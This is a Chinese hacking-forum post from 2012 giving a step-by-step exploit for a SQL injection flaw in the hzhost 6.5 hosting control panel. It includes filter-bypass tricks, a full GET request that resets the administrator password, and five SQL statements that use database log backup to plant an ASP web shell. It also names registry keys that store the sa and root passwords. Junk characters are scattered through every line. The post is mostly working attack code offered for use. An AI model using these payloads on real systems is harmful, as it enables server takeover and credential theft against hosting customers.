中国网络渗透测试联盟

标题: 再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞 [打印本页]

作者: admin    时间: 2012-9-5 15:03
标题: 再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。9 b* z  U* r; E+ W
只讲两个要点。
% [4 g% f. y/ P- o% h1 U% W第一,如何拿网站管理员权限。
) I( J& P8 Z0 Q& [1 }( w 第二,如何备份木马。3 l9 {+ l" P9 g; b9 ?
这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来,而过滤函数又未过滤完全,导致我们有机会进行注射。
: m4 U: Y9 I( _" O' | 我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。
1 L, J) ^- ]; |! |; P7 LhttP://www.xxbing.com QQ178737315
  S: c  l$ m3 B$ r$ u5 S) I+ s* D由于我写了很长,而且很累了,所以希望大家回帖鼓励一下。
" h+ G7 [+ _' H  T, V- R, E  s------------开放浏览-------------7 }% ^6 b$ ^7 d0 O. k1 p: p
漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中!$ d( G  O) m# W( _. n! H
-------------------------13-15行----------------------------
1 n; n9 q* `9 ]4 g querytype=SafeRequest("querytype")  //saferequest函数接受数据
( c9 f$ a# _+ V) s' H. m: O if chk_int(querytype)=false then  //检查是否是整数
/ G' q( O( u  i" ?( o( r; ]1 t. \    ErrMsg="<font color=#ff0000>对不起</font>,非法操作!..."3 g/ B" U( B$ f4 a7 L2 [- k  _
-------------------------37-42行---------------------------% [! K4 H* w7 J# g( H
elseif querytype=5 then //如果类型为5。就接受qu1数据!/ }5 g3 [8 X* L0 X
   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据,他自己定义的saferequest函数!
  ?1 I8 N6 I) D" t7 Q   
/ |4 g5 a8 w! D% ^$ j' v  ~2 }1 r& L# l    if  qu1="" then  //不能为空0 d7 L' E8 z6 b/ \: O6 K
         call errorpage(-2,"对不起,请选择参数!")# [3 ?' ^# q0 Z1 L) s- _
   end if         & k5 y! t! J  i' ^- A* Q) k0 {
      qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围,虽然用了saferequest,但是我们可以绕过!& h8 ^0 H* _2 U% c/ Q9 Y3 y0 {* A+ J
-------------------------62-65行---------------------------. j2 B0 e% G# b3 N, i2 X! ?
qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据+ p, O' E( ~2 D5 S1 ~) k6 t
if qu7<>"" then- @* O( Q) X4 q: x  G( @
qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了,所以这里成了死点!!
8 u  H! [$ i. e* K# _ end if ) K) u7 E: b1 k  L
--------------------------117行-----------------------------; k0 l! W4 N* K2 r/ y
query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring
$ J( p' d5 f0 W5 q: Y //到这里就丢进去查询了!
) F7 C4 h: b% N% g, r1 K7 Y4 b8 y# v! w  }. m
来看看saferequest()函数。
8 C5 D# C/ X$ x! E0 i9 f------------------incs/config.asp中-------------------------' d, c6 P5 ~5 F4 h4 G
Function SafeRequest(ParaName)
% V' l8 L) n3 S5 B7 C/ v1 C. R) E Dim ParaValue + P) `" w& X$ d# X/ Q5 ]$ f: o
ParaValue=Request(ParaName)  //获取数据
0 T' @" t7 Q. q- p& R! e2 ^4 J7 ` if IsNumeric(ParaValue)  then  //如果是数字
( j, }" H' {- W) q7 F3 p! d SafeRequest=ParaValue  //那就不过滤,直接赋值
- q  t# S- X, r* E3 ? exit Function
% {4 T" W& p! {) G" ?* q
; S! r2 u( W' \& j0 r$ V1 K6 E else
* n1 j# v0 L( @, ` ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写
5 a* L3 H5 s7 T5 y tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"9 y/ @; g9 g" a! k- r9 b7 F" a" }, |
//定义要过滤的字符!( @2 T9 ]2 r( ?/ t1 W% R

+ S7 H9 y1 K4 j! ^1 M 他过滤方式有问题。。。没有过滤 * / % / -- / ;
0 j- `  z# A/ E% ?7 {. j: t 而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。
- f" G& l8 s  v2 q* p0 w
* U) R! ?% ^- F' A9 }' G temps=split(tempvalue,"|")           //转为一维数组
9 Y# r% Z5 p+ o- X for mycount=0 to ubound(temps)       //循环读数组内数据& d4 L" F/ F7 H' j; k% a
if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。
! W5 P7 \% s- ~! X0 d. f                 call errorpage(-2,"非法请求!!!")  //如果有则弹出提示!!
9 R. ~2 ?+ v' u# h                 response.end# t2 M" D: I7 t6 b3 a
end if* C/ y1 z* a; {' b) p& d& s( s: f
next
: `+ w: f6 M3 q8 Y* y( E SafeRequest=ParaValue
5 Y2 |4 v1 G0 n end if( i& @$ H$ s. |; N9 d9 b. S# y( ]
End function# z6 e/ i  w) }1 Z2 G* u- R6 I
-------------------------------------5 [+ F2 w# I/ M  D, S- N. P9 i- i
* b, f$ ~7 a) }9 M5 I! h
所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..仔细看清楚。上面过滤的是update+空格。select+空格。
& }0 [$ h8 ?% F 先给出查询语句的框架。2 [! e& l9 J- }% {) P- r: ]# v
select * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc
7 ^* o( K+ E" Y, v
0 d9 X6 Q; ~* f, R7 h( U 为了使语句顺利执行:
, S1 F: s/ K, k" s$ c 我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。( [5 @- L- l# C5 Y/ q: H5 n
这里我给出条示范语句,即{我们的语句}
- V: l/ Z, [! DUPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E
, C5 J# \8 {! ~7 _) ~. U
! U/ m7 g2 W, B& N4 a$ k% J这条语句能够绕过saferequest函数的检测。没有出现单引号。
6 m, m3 W( h$ a+ D 我们提交:$ k' A2 ?: O: N9 w% Q% P4 g$ {
http://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1# M0 U, c$ c) b, A
- ~" I: E% C, W' o
这句话就能够将admin的密码修改成123456
" M# R7 m' |5 O 到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。7 E1 h* g! l0 C5 R& P& L& k2 e
第二步是要备份挂马。' G. k1 \3 @+ \4 b0 M
大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了char(
8 z$ [% U" b8 O' T3 i  ]. N 导致备马的这条语句失败。
! [# n9 x4 x! Rdeclare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。
" u" d9 x6 z2 C6 y& e, L8 O
- @! f3 m: a& M6 t3 y 有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。
' z+ ^% H5 d4 ^% k. A 由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char(
0 n$ w# @9 J5 G+ `; F 接下来放出详细语句。大家放入{我们的语句中}, P: o. J2 n# E' [
第 一 步:
. X# A: U& c, T+ i6 M create table [dbo].[shit_tmp] ([cmd] [image])--+ e7 T- o1 p1 ?# Z4 a
第 二 步. a0 @# }, r1 s# [2 F8 e( H
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
0 S2 w9 z/ E( N2 I 第 三 步
* Y5 m4 s2 ^/ b- c; h insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--  F4 p- {7 |, R' Y
第 四 步
: V# i( w1 E3 z5 T* k declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--1 I2 g9 d0 \8 s; T4 i8 d8 e* g
第 五 步
* l& \) j$ N+ \# H Drop table [shit_tmp]--; D3 q4 C* U% B8 W  n( d

4 c* \8 [- P0 m( U/ ~4 M( r  ] 上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。
6 R) T; k7 a3 e6 J3 O 一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。
1 y) a# k: S3 ?, U 请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》
7 p0 |+ A5 H- V; j) I" G+ @/ _, }$ c9 B+ B0 p
最后是答疑部分:
8 u/ Y: s6 D9 @' B1 N$ w 1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。6 u- s/ E0 q+ ~* _; \: i
5 D3 [. u: F. G
2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500; {6 V& C$ t. _# `, c& }" z; N
这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:2 v- m. W3 G1 B8 h. B7 ?; d
0x6531306164633339343962613539616262653536653035376632306638383365
  h  H( `/ I: @9 f3 N! t7 } 大家仔细观察,会发现,其实只是去掉了一些00。。
/ z/ @% l; p$ P% a/ f 所以大家在转换其他md5的时候,注意此问题。* n/ K' F$ [8 y: c" `
$ J6 |9 _" W3 p& V7 R/ w
3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。
1 x  K) U% t( x 另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。
" J7 D3 j5 Y5 f" ?# t5 u( Y0 [* Y' K8 O2 s) i8 Q, H, ~0 J6 p
4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。" g7 T; l" u5 ]0 K* S; e: [( J6 d
有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。
, E, R7 M  A. {, G6 i
- u2 g% D4 F( w3 |0 U' |/ [: q 5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。, y4 ^' a8 Q" l$ N# u2 U

" r2 q0 ?0 W$ b% y* k) I# a" n2 n 6::
) X8 a2 J' {! j: G( @6 jsa密码。root密码。
- B( ~  Y. G% I5 n6 c6 T HKEY_LOCAL_MACHINE\software\hzhost\config\settings\
7 E* P7 t& o: W mysqlpass---root密码
# b: C. q/ s$ ?- L mssqlpss----sa密码
9 J0 d& k) @0 {$ i
2 L5 y; @8 R7 ]2 |  Q) v6 H7 s( r4 X- p. a+ u" ?0 J
7.如果路径不在D:/hzhost
3 `9 c; R4 r8 y# d: e1 D/ O 那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。5 z' f/ ]+ K9 S" {: [  P
或者去读注册表。/ ^( S, F( v/ J1 f! z& F8 n! H6 a
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下
( X0 ~5 G5 D- k( B6 k4 o/ F "wwwrootpath"="e:\\wwwroot"! a+ r( Z# l/ r9 G* A
"urlsiteroot"="D:\\hzhost\\hzhost_url"! i! Z: c1 R( {9 S. M# P+ V
"ftprootpath"="e:\\ftproot"   可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)1 y9 t) Q; u$ S& S' V0 e9 |
大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!
% t$ j. X, J" s- o4 n3 o# M! h: Q0 n* f- f/ h$ I3 z1 d
利用动画下载地址(送给菜鸟同学们,能看懂文章的大不必下载,只是把文章的内容完全演示了一遍。)) {$ M' M9 }% B+ ^
hzhost最新漏洞.rar
6 c9 W( O2 R7 u3 g 饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以,只能放到这里。抱歉啊!!
! @- x6 E. F( E% ~) s3 V, _. Y0 t3 G& ]
最后,还是版权。
+ t& N% ^$ ]) R  R( Z6 N/ d  khttp://www.xxbing.com QQ1787373154 m: Y; Q. _/ h/ i  E2 p+ x: o
允许自由转载。但请注明作者。




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2